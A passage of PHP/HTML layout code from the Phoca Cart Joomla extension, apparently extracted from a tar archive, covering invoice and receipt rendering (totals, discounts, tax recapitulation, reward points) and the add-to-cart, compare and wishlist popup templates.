$p[] = '<td colspan="3"
align="left"><ul class="ph-idnr-ul">';
foreach ($v->attributes as $k2 => $v2) {
$p[] = '<li><span class="ph-small
ph-cart-small-attribute ph-idnr-li">'.$v2->attribute_title
.' '.$v2->option_title.'</span></li>';
/* Should we display the values of attributes added by users in
order/delivery note/receipt/invoice?
$p[] = '<li><span class="ph-small
ph-cart-small-attribute ph-idnr-li">'.$v2->attribute_title
.' '.$v2->option_title.'</span>';
if (isset($v2->option_value) &&
urldecode($v2->option_value) != '') {
$p[] = ': <span class="ph-small
ph-cart-small-attribute">' .
htmlspecialchars(urldecode($v2->option_value), ENT_QUOTES,
'UTF-8') . '</span>';
}
$p[] = '</li>';
*/
if ($pR) { $oPr[] = $pP->printLineColumns(array(' - '
.$v2->attribute_title .' '.$v2->option_title)); }
}
$p[] = '</ul></td>';
$p[] = '<td colspan="8"></td>';
$p[] = '</tr>';
}
if ($pR) {
$brutto = (int)$v->quantity * $v->brutto;
$oPr[] = $pP->printLineColumns(array((int)$v->quantity . ' x
' . $d['price']->getPriceFormat($v->brutto),
$d['price']->getPriceFormat($brutto)));
}
$lastSaleNettoUnit = array();
$lastSaleNetto = array();
$lastSaleTax = array();
$lastSaleBrutto = array();
if (!empty($d['discounts'][$v->product_id_key]) &&
$d['type'] != 3) {
$lastSaleNettoUnit[$v->product_id_key] = $nettoUnit;
$lastSaleNetto[$v->product_id_key] = $netto;
$lastSaleTax[$v->product_id_key] = $tax;
$lastSaleBrutto[$v->product_id_key] = $brutto;
foreach($d['discounts'][$v->product_id_key] as $k3 =>
$v3) {
$nettoUnit3 = $v3->netto;
$netto3 = (int)$v->quantity * $v3->netto;
$tax3 = (int)$v->quantity * $v3->tax;
$brutto3 = (int)$v->quantity * $v3->brutto;
$saleNettoUnit = $lastSaleNettoUnit[$v->product_id_key] -
$nettoUnit3;
$saleNetto = $lastSaleNetto[$v->product_id_key] - $netto3;
$saleTax = $lastSaleTax[$v->product_id_key] - $tax3;
$saleBrutto = $lastSaleBrutto[$v->product_id_key] -
$brutto3;
$lastSaleNettoUnit[$v->product_id_key] = $nettoUnit3;
$lastSaleNetto[$v->product_id_key] = $netto3;
$lastSaleTax[$v->product_id_key] = $tax3;
$lastSaleBrutto[$v->product_id_key] = $brutto3;
if ($display_discount_price_product == 2) {
$p[] = '<tr '.$bProduct.'>';
$p[] = '<td></td>';
$p[] = '<td
colspan="'.$cTitle.'">'.$v3->title.'</td>';
$p[] = '<td
style="text-align:center"></td>';
if ($tax_calculation > 0) {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($saleNettoUnit,
1).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($saleNetto,
1).'</td>';
$p[] = '<td style="text-align:right"
colspan="1">'.$d['price']->getPriceFormat($saleTax,
1).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($saleBrutto,
1).'</td>';
} else {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($saleNettoUnit,
1).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($saleBrutto,
1).'</td>';
}
$p[] = '</tr>';
if ($pR) {
$oPr[] = $pP->printLineColumns(array($v3->title,
$d['price']->getPriceFormat($saleBrutto, 1)));
}
} else if ($display_discount_price_product == 1) {
$p[] = '<tr '.$bProduct.'>';
$p[] = '<td></td>';
$p[] = '<td
colspan="'.$cTitle.'">'.$v3->title.'</td>';
$p[] = '<td
style="text-align:center"></td>';
/*$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($nettoUnit3).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($netto3).'</td>';
$p[] = '<td style="text-align:right"
colspan="1">'.$d['price']->getPriceFormat($tax3).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($brutto3).'</td>';*/
if ($tax_calculation > 0) {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($nettoUnit3).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($netto3).'</td>';
$p[] = '<td style="text-align:right"
colspan="1">'.$d['price']->getPriceFormat($tax3).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($brutto3).'</td>';
} else {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($nettoUnit3).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($brutto3).'</td>';
}
$p[] = '</tr>';
if ($pR) {
$oPr[] = $pP->printLineColumns(array($v3->title,
$d['price']->getPriceFormat($brutto3)));
}
}
}
}
}
if ($pR) { $oPr[] = $pP->printSeparator(); }
}
$o[] = implode("\n", $p);
if ($tax_calculation > 0 || $d['type'] == 3) {
$o[] = '<tr><td colspan="12"
'.$sepH.'> </td></tr>';
} else {
$o[] = '<tr><td colspan="9"
'.$sepH.'> </td></tr>';
}
// -----------
// TOTAL
// -----------
$t = array();
$toPay = '';
$tColspanLeft = 5;
$tColspanMid = 2;
$tColspanRight = 2;
if ($tax_calculation > 0) {
$tColspanLeft = 7;
$tColspanMid = 3;
$tColspanRight = 2;
}
if (!empty($d['total'])) {
foreach($d['total'] as $k => $v) {
if($v->amount == 0 && $v->amount_currency == 0 &&
$v->type != 'brutto') {
// Don't display coupon if null
} else if ($v->type == 'netto') {
$t[] = '<tr '.$totalF.'>';
$t[] = '<td
colspan="'.$tColspanLeft.'"></td>';
$t[] = '<td
colspan="'.$tColspanMid.'"><b>'.
PhocacartLanguage::renderTitle($v->title, $v->title_lang, array(0
=> array($v->title_lang_suffix, ' '), 1 =>
array($v->title_lang_suffix2, '
'))).'</b></td>';
$t[] = '<td style="text-align:right"
colspan="'.$tColspanRight.'"><b>'.$d['price']->getPriceFormat($v->amount).'</b></td>';
$t[] = '</tr>';
if ($pR) { $oPr[] =
$pP->printLineColumns(array(PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, '
'), 1 => array($v->title_lang_suffix2, ' '))),
$d['price']->getPriceFormat($v->amount))); }
} else if ($v->type == 'brutto') {
// Brutto or Brutto currency
$amount = (isset($v->amount_currency) &&
$v->amount_currency > 0) ?
$d['price']->getPriceFormat($v->amount_currency, 0, 1) :
$d['price']->getPriceFormat($v->amount);
$t[] = '<tr '.$totalF.'>';
$t[] = '<td
colspan="'.$tColspanLeft.'"></td>';
$t[] = '<td
colspan="'.$tColspanMid.'"><b>'.PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, '
'), 1 => array($v->title_lang_suffix2, '
'))).'</b></td>';
$t[] = '<td style="text-align:right"
colspan="'.$tColspanRight.'"><b>'.$amount.'</b></td>';
$t[] = '</tr>';
if ($pR) {
$oPr[] = $pP->printSeparator();
$oPr[] =
$pP->printLineColumns(array(PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, '
'), 1 => array($v->title_lang_suffix2, ' '))),
$amount), 0, 'pDoubleSize');
$oPr[] = $pP->printFeed(2);
}
if ($d['type'] == 2) {
$toPay = $amount;
}
} else if ($v->type == 'rounding') {
// Rounding or rounding currency
$amount = (isset($v->amount_currency) &&
$v->amount_currency > 0) ?
$d['price']->getPriceFormat($v->amount_currency, 0, 1) :
$d['price']->getPriceFormat($v->amount);
$t[] = '<tr '.$totalF.'>';
$t[] = '<td
colspan="'.$tColspanLeft.'"></td>';
$t[] = '<td
colspan="'.$tColspanMid.'">'.PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, '
'), 1 => array($v->title_lang_suffix2, '
'))).'</td>';
$t[] = '<td style="text-align:right"
colspan="'.$tColspanRight.'">'.$amount.'</td>';
$t[] = '</tr>';
if ($pR) { $oPr[] =
$pP->printLineColumns(array(PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, '
'), 1 => array($v->title_lang_suffix2, ' '))),
$amount)); }
} else {
$t[] = '<tr '.$totalF.'>';
$t[] = '<td
colspan="'.$tColspanLeft.'"></td>';
$t[] = '<td
colspan="'.$tColspanMid.'">'.PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, ' -
'), 1 => array($v->title_lang_suffix2, '
'))).'</td>';
$t[] = '<td style="text-align:right"
colspan="'.$tColspanRight.'">'.$d['price']->getPriceFormat($v->amount).'</td>';
$t[] = '</tr>';
if ($pR) { $oPr[] =
$pP->printLineColumns(array(PhocacartLanguage::renderTitle($v->title,
$v->title_lang, array(0 => array($v->title_lang_suffix, ' -
'), 1 => array($v->title_lang_suffix2, ' '))),
$d['price']->getPriceFormat($v->amount))); }
}
}
}
if ($d['type'] != 3) {
$o[] = implode("\n", $t);
}
if ($tax_calculation > 0 || $d['type'] == 3) {
$o[] = '<tr><td
colspan="12"> </td></tr>';
} else {
$o[] = '<tr><td
colspan="9"> </td></tr>';
}
// -----------
// TO PAY
// -----------
if ($toPay != '') {
$o[] = '<tr class="ph-idnr-to-pay-box">';
$o[] = '<td
colspan="'.$tColspanLeft.'"> </td>';
$o[] = '<td colspan="'.$tColspanMid.'"
'.$toPayS.'><b>'.JText::_('COM_PHOCACART_TO_PAY').'</b></td>';
$o[] = '<td colspan="'.$tColspanRight.'"
'.$toPaySV.'><b>'.$toPay.'</b></td>';
$o[] = '</tr>';
}
$o[] = '</table>';// End box in
// -----------------------
// INVOICE MIDDLE DESCRIPTION
// -----------------------
if ($d['type'] == 2) {
$invoiceMiddleDescArticle = '';
if ($d['common']->invoice_spec_middle_desc != '') {
$invoiceMiddleDescArticle =
$d['common']->invoice_spec_middle_desc;
} else if ((int)$invoice_global_middle_desc > 0) {
$invoiceMiddleDescArticle =
PhocacartRenderFront::renderArticle((int)$invoice_global_middle_desc);
}
if ($invoiceMiddleDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$invoiceMiddleDescArticle =
PhocacartPdf::skipStartAndLastTag($invoiceMiddleDescArticle,
'p');
$invoiceMiddleDescArticle =
PhocacartText::completeText($invoiceMiddleDescArticle,
$d['preparereplace'], 1);
//$invoiceMiddleDescArticle =
PhocacartText::completeTextFormFields($invoiceMiddleDescArticle,
$d['bas']['b'], 1);
//$invoiceMiddleDescArticle =
PhocacartText::completeTextFormFields($invoiceMiddleDescArticle,
$d['bas']['s'], 2);
$invoiceMiddleDescArticle =
PhocacartText::completeTextFormFields($invoiceMiddleDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$invoiceMiddleDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 1) {
$orderMiddleDescArticle =
PhocacartRenderFront::renderArticle((int)$order_global_middle_desc);
if ($orderMiddleDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$orderMiddleDescArticle =
PhocacartPdf::skipStartAndLastTag($orderMiddleDescArticle, 'p');
$orderMiddleDescArticle =
PhocacartText::completeText($orderMiddleDescArticle,
$d['preparereplace'], 1);
//$orderMiddleDescArticle =
PhocacartText::completeTextFormFields($orderMiddleDescArticle,
$d['bas']['b'], 1);
//$orderMiddleDescArticle =
PhocacartText::completeTextFormFields($orderMiddleDescArticle,
$d['bas']['s'], 2);
$orderMiddleDescArticle =
PhocacartText::completeTextFormFields($orderMiddleDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$orderMiddleDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 3) {
$dnMiddleDescArticle =
PhocacartRenderFront::renderArticle((int)$dn_global_middle_desc);
if ($dnMiddleDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$dnMiddleDescArticle =
PhocacartPdf::skipStartAndLastTag($dnMiddleDescArticle, 'p');
$dnMiddleDescArticle = PhocacartText::completeText($dnMiddleDescArticle,
$d['preparereplace'], 1);
$dnMiddleDescArticle =
PhocacartText::completeTextFormFields($dnMiddleDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$dnMiddleDescArticle.'</td></tr></table>';
}
}
// -----------------------
// INVOICE QR CODE, STAMP IMAGE
// -----------------------
if ($d['format'] == 'pdf' &&
$d['type'] == 2 && ($d['qrcode'] !=
'' || $pdf_invoice_signature_image != '')) {
$o[] =
'<div> </div><div> </div>';
$o[] = '<table>';// End box in
$o[] = '<tr><td>';
if ($pdf_invoice_qr_information != '') {
$o[] = '<span
'.$bQrInfo.'>'.$pdf_invoice_qr_information .
'</span><br />';
}
if ($d['qrcode'] != '') {
$o[] =
'{phocapdfqrcode|'.urlencode($d['qrcode']).'}';
}
$o[] = '</td><td>';
if ($pdf_invoice_signature_image != '') {
$o[] = '<img
src="'.JURI::root().''.$pdf_invoice_signature_image.'"
style="width:80"/>';
}
$o[] = '</td></tr>';
$o[] = '</table>';
}
// -----------------------
// TAX RECAPITULATION
// -----------------------
if (($display_tax_recapitulation_invoice == 1 &&
$d['type'] == 2 ) || ($display_tax_recapitulation_pos == 1
&& $d['type'] == 4 )) {
if (!empty($d['taxrecapitulation'])) {
$o[] =
'<h3>'.JText::_('COM_PHOCACART_TAX_RECAPITULATION').'</h3>';
if ($pR) {
$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_TAX_RECAPITULATION')),
'pLeft');
}
$o[] = '<table '.$taxRecTable.'>';
$o[] = '<tr>';
$o[] = '<th
'.$taxRecTd.'>'.JText::_('COM_PHOCACART_TITLE').'</th>';
$o[] = '<th
'.$taxRecTd.'>'.JText::_('COM_PHOCACART_TAX_BASIS').'</th>';
$o[] = '<th
'.$taxRecTd.'>'.JText::_('COM_PHOCACART_TAX').'</th>';
$o[] = '<th
'.$taxRecTd.'>'.JText::_('COM_PHOCACART_TOTAL').'</th>';
//$o[] =
'<th>'.JText::_('COM_PHOCACART_TOTAL').'
'.JText::_('COM_PHOCACART_CURRENCY').'</td>';
$o[] = '</tr>';
foreach($d['taxrecapitulation'] as $k => $v) {
if (isset($v->amount_brutto_currency) &&
$v->amount_brutto_currency > 0) {
$amountBrutto = $v->amount_brutto_currency;
$amountBruttoFormat =
$d['price']->getPriceFormat($v->amount_brutto_currency, 0,
1);
} else {
$amountBrutto = $v->amount_brutto;
$amountBruttoFormat =
$d['price']->getPriceFormat($v->amount_brutto);
}
$amountNettoFormat = $v->amount_netto > 0 ?
$d['price']->getPriceFormat($v->amount_netto) :
'';
$amountTaxFormat = $v->amount_tax > 0 ?
$d['price']->getPriceFormat($v->amount_tax) : '';
$title = $v->title;
/* if ($v->type == 'trcrounding') {
// In administration edit: Rounding (Incl. Tax Recapitulation Rounding)
// In documents (invoice): Rouning
// Skip "(Incl. Tax Recapitulation Rounding)" in documents
$title = JText::_('COM_PHOCACART_ROUNDING');
}*/
if ($v->type == 'brutto') {
$amountBruttoFormat = '<span
class="ph-b">'.$amountBruttoFormat.'</span>';
$amountNettoFormat = '';
$amountTaxFormat = '';
}
if ($v->type == 'rounding') {
// Don't display rounding here, only trcrounding (calculation
rounding + tax recapitulation rounding)
} else if ($amountBrutto > 0 || $amountBrutto < 0) {
$o[] = '<tr>';
$o[] = '<td
'.$taxRecTd.'>'.$title.'</td>';
$o[] = '<td
'.$taxRecTdRight.'>'.$amountNettoFormat.'</td>';
$o[] = '<td
'.$taxRecTdRight.'>'.$amountTaxFormat.'</td>';
$o[] = '<td
'.$taxRecTdRight.'>'.$amountBruttoFormat.'</td>';
$o[] = '</tr>';
}
// POS Receipt - only tax information
if ($pR && $v->type == 'tax') {
$oPr[] = $pP->printLineColumns(array($title,
$d['price']->getPriceFormat($v->amount_tax)));
}
}
$o[] = '</table>';
if ($pR) {
$oPr[] = $pP->printFeed(1);
}
}
/*$orderCalc = new PhocacartOrderCalculation();
$calcItems = array();
$calcItems[0] = $d['common'];
$orderCalc->calculateOrderItems($calcItems);
$calcTotal = $orderCalc->getTotal();
$taxes = PhocacartTax::getAllTaxes();
if (!empty($calcTotal)) {
foreach ($calcTotal as $k => $v) {
if (!empty($v)) {
$d['price']->setCurrency($k);
if ($pR) {
$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_TAX_RECAPITULATION')),
'pLeft');
}
if (!empty($v['tax'])) {
$o[] = '<table '.$taxRecTable.'>';
$o[] = '<tr><th
colspan="2">'.JText::_('COM_PHOCACART_TAX_RECAPITULATION').'</th></tr>';
foreach($v['tax'] as $kT => $vT) {
$calcTitle = isset($taxes[$kT]['title']) ?
$taxes[$kT]['title'] : '';
$o[] = '<tr><td
'.$taxRecTd.'>'.$calcTitle.'</td>';
$o[] = '<td
'.$taxRecTd.'>'.$d['price']->getPriceFormat($vT,0,1)
. '</td></tr>';
if ($pR) {
$oPr[] = $pP->printLineColumns(array($calcTitle,
$d['price']->getPriceFormat($vT,0,1)));
}
}
$o[] = '</table>';
if ($pR) {
$oPr[] = $pP->printFeed(1);
}
}
}
}
}*/
}
// -----------------------
// POINTS RECEIVED
// -----------------------
if (($display_reward_points_invoice == 1 && $d['type'] ==
2 ) || ($display_reward_points_pos == 1 && $d['type'] ==
4 )) {
if ((int)$d['common']->user_id > 0 &&
(int)$d['common']->id > 0) {
$pointsUser =
PhocacartReward::getTotalPointsByUserIdExceptCurrentOrder($d['common']->user_id,
$d['common']->id);
$pointsOrder =
PhocacartReward::getTotalPointsByOrderId($d['common']->id);
$o[] =
'<div>'.JText::_('COM_PHOCACART_YOUR_CURRENT_REWARD_POINTS_BALANCE').':
'.$pointsUser.'</div>';
$o[] =
'<div>'.JText::_('COM_PHOCACART_POINTS_RECEIVED_FOR_THIS_PURCHASE').':
'.$pointsOrder.'</div>';
if ($pR) {
$oPr[] =
$pP->printLineColumns(array(JText::_('COM_PHOCACART_YOUR_CURRENT_REWARD_POINTS_BALANCE').':
', $pointsUser));
$oPr[] =
$pP->printLineColumns(array(JText::_('COM_PHOCACART_POINTS_RECEIVED_FOR_THIS_PURCHASE').
': ', $pointsOrder));
$oPr[] = $pP->printFeed(1);
}
}
}
// -----------------------
// INVOICE BOTTOM DESCRIPTION
// -----------------------
if ($d['type'] == 2) {
$invoiceBottomDescArticle = '';
if ($d['common']->invoice_spec_bottom_desc != '') {
$invoiceBottomDescArticle =
$d['common']->invoice_spec_bottom_desc;
} else if ((int)$invoice_global_bottom_desc > 0) {
$invoiceBottomDescArticle =
PhocacartRenderFront::renderArticle((int)$invoice_global_bottom_desc);
}
if ($invoiceBottomDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$invoiceBottomDescArticle =
PhocacartPdf::skipStartAndLastTag($invoiceBottomDescArticle,
'p');
$invoiceBottomDescArticle =
PhocacartText::completeText($invoiceBottomDescArticle,
$d['preparereplace'], 1);
//$invoiceBottomDescArticle =
PhocacartText::completeTextFormFields($invoiceBottomDescArticle,
$d['bas']['b'], 1);
//$invoiceBottomDescArticle =
PhocacartText::completeTextFormFields($invoiceBottomDescArticle,
$d['bas']['s'], 2);
$invoiceBottomDescArticle =
PhocacartText::completeTextFormFields($invoiceBottomDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$invoiceBottomDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 1) {
$orderBottomDescArticle =
PhocacartRenderFront::renderArticle((int)$order_global_bottom_desc);
if ($orderBottomDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$orderBottomDescArticle =
PhocacartPdf::skipStartAndLastTag($orderBottomDescArticle, 'p');
$orderBottomDescArticle =
PhocacartText::completeText($orderBottomDescArticle,
$d['preparereplace'], 1);
//$orderBottomDescArticle =
PhocacartText::completeTextFormFields($orderBottomDescArticle,
$d['bas']['b'], 1);
//$orderBottomDescArticle =
PhocacartText::completeTextFormFields($orderBottomDescArticle,
$d['bas']['s'], 2);
$orderBottomDescArticle =
PhocacartText::completeTextFormFields($orderBottomDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$orderBottomDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 3) {
$dnBottomDescArticle =
PhocacartRenderFront::renderArticle((int)$dn_global_bottom_desc);
if ($dnBottomDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$dnBottomDescArticle =
PhocacartPdf::skipStartAndLastTag($dnBottomDescArticle, 'p');
$dnBottomDescArticle = PhocacartText::completeText($dnBottomDescArticle,
$d['preparereplace'], 1);
$dnBottomDescArticle =
PhocacartText::completeTextFormFields($dnBottomDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$dnBottomDescArticle.'</td></tr></table>';
}
}
$o[] = '</div>';// End box
// POS FOOTER
if ($pR) {
if (isset($d['common']->amount_tendered) &&
$d['common']->amount_tendered > 0 &&
isset($d['common']->amount_change) &&
($d['common']->amount_change > 0 ||
$d['common']->amount_change == 0)) {
//$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_RECEIPT_AMOUNT_TENDERED').':
'.$d['price']->getPriceFormat($d['common']->amount_tendered)),
'pLeft');
//$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_RECEIPT_AMOUNT_CHANGED').':
'.$d['price']->getPriceFormat($d['common']->amount_change)),
'pLeft');
$oPr[] =
$pP->printLineColumns(array(JText::_('COM_PHOCACART_RECEIPT_AMOUNT_TENDERED').':
',
$d['price']->getPriceFormat($d['common']->amount_tendered)));
$oPr[] =
$pP->printLineColumns(array(JText::_('COM_PHOCACART_RECEIPT_AMOUNT_CHANGED').':
',
$d['price']->getPriceFormat($d['common']->amount_change)));
$oPr[] = $pP->printFeed(1);
}
$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_RECEIPT_NR').':
'.PhocacartOrder::getReceiptNumber($d['common']->id,
$d['common']->date,
$d['common']->receipt_number)), 'pLeft');
$oPr[] =
$pP->printLine(array(JText::_('COM_PHOCACART_PURCHASE_DATE').':
'.JHtml::date($d['common']->date,
'DATE_FORMAT_LC6')), 'pLeft');
$oPr[] = $pP->printFeed(1);
$storeInfoFooterPos = array();
if ($store_info_footer_pos != '') {
$store_info_footer_pos =
PhocacartText::completeText($store_info_footer_pos,
$d['preparereplace'], 1);
$storeInfoFooterPos = explode("\n",
strip_tags($store_info_footer_pos));
}
$oPr[] = $pP->printLine($storeInfoFooterPos, 'pCenter');
}
JPluginHelper::importPlugin( 'system' );
JPluginHelper::importPlugin('plgSystemMultilanguagesck');
if ($pR) {
//$oPr2 = implode("\n", $oPr);
$oPr2 = implode("", $oPr);// new rows set in print library
\JFactory::getApplication()->triggerEvent('onChangeText',
array(&$oPr2));
echo $oPr2;
} else {
$o2 = implode("\n", $o);
\JFactory::getApplication()->triggerEvent('onChangeText',
array(&$o2));
echo $o2;
}
?>
popup_add_to_cart.php000064400000005743151165411770010764 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['checkout_view_href'] =
'data-dismiss="modal"';
$d['close'] = '<button
type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['checkout_view_href'].' ><span
aria-hidden="true">×</span></button>';
if (isset($d['checkout_view']) &&
$d['checkout_view'] == 1) {
$d['checkout_view_href'] =
'href="'.$d['link_checkout'].'"';
$d['close'] = '<a role="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['checkout_view_href'].' ><span
aria-hidden="true">×</span></a>';
}
?>
<div id="phAddToCartPopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo $d['info_msg']
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm12.md12'] ?>
ph-center">
<?php
JPluginHelper::importPlugin('pcv');
$results =
\JFactory::getApplication()->triggerEvent('PCVonPopupAddToCartAfterHeader',
array('com_phocacart.popupaddtocart', $d['product'],
$d['products'], $d['total']));
echo trim(implode("\n", $results));
?>
</div>
</div>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn" role="button" <?php echo
$d['checkout_view_href']; ?> ><span class="<?php
echo $d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_CONTINUE_SHOPPING'); ?></a>
</div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-success'] ?>
ph-btn" role="button" href="<?php echo
$d['link_checkout']; ?>" ><span
class="<?php echo
$d['s']['i']['int-link']
?>"></span> <?php echo
JText::_('COM_PHOCACART_PROCEED_TO_CHECKOUT'); ?></a>
</div>
</div>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
popup_add_to_compare.php000064400000005166151165411770011460
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['comparison_view_href'] =
'data-dismiss="modal"';
$d['close'] = '<button
type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['comparison_view_href'].' ><span
aria-hidden="true">×</span></button>';
if (isset($d['comparison_view']) &&
$d['comparison_view'] == 1) {
$d['comparison_view_href'] =
'href="'.$d['link_comparison'].'"';
$d['close'] = '<a role="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['comparison_view_href'].' ><span
aria-hidden="true">×</span></a>';
}
?>
<div id="phAddToComparePopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$d['s']['c']['modal-dialog'] ?>">
<div class="<?php echo
$d['s']['c']['modal-content']
?>">
<div class="<?php echo
$d['s']['c']['modal-header'] ?>">
<?php echo
$d['s']['c']['class-type'] != 'bs4'
? $d['close'] : '' ?>
<h4><span class="<?php echo
$d['s']['i']['info-sign']
?>"></span> <?php echo $d['info_msg']
?></h4>
<?php echo
$d['s']['c']['class-type'] == 'bs4'
? $d['close'] : '' ?>
</div>
<div class="<?php echo
$d['s']['c']['modal-body'] ?>">
<?php if (isset($d['info_msg_additional'])
&& $d['info_msg_additional'] != '') { ?>
<div><?php echo $d['info_msg_additional'];
?></div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn" role="button" <?php echo
$d['comparison_view_href']; ?> ><span
class="<?php echo
$d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_CONTINUE_SHOPPING'); ?></a>
</div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm6.md6'] ?>
ph-center">
<a class="<?php echo
$d['s']['c']['btn.btn-success'] ?>
ph-btn" role="button" href="<?php echo
$d['link_comparison']; ?>" ><span
class="<?php echo
$d['s']['i']['int-link']
?>"></span> <?php echo
JText::_('COM_PHOCACART_PROCEED_TO_COMPARISON_LIST');
?></a>
</div>
</div>
</div>
<div class="<?php echo
$d['s']['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
popup_add_to_wishlist.php000064400000005134151165411770011673
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['wishlist_view_href'] =
'data-dismiss="modal"';
$d['close'] = '<button
type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['wishlist_view_href'].' ><span
aria-hidden="true">×</span></button>';
if (isset($d['wishlist_view']) &&
$d['wishlist_view'] == 1) {
$d['wishlist_view_href'] =
'href="'.$d['link_wishlist'].'"';
$d['close'] = '<a role="button"
class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
'. $d['wishlist_view_href'].' ><span
aria-hidden="true">×</span></a>';
}
?>
<div id="phAddToWishListPopup" class="<?php echo
$d['s']['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
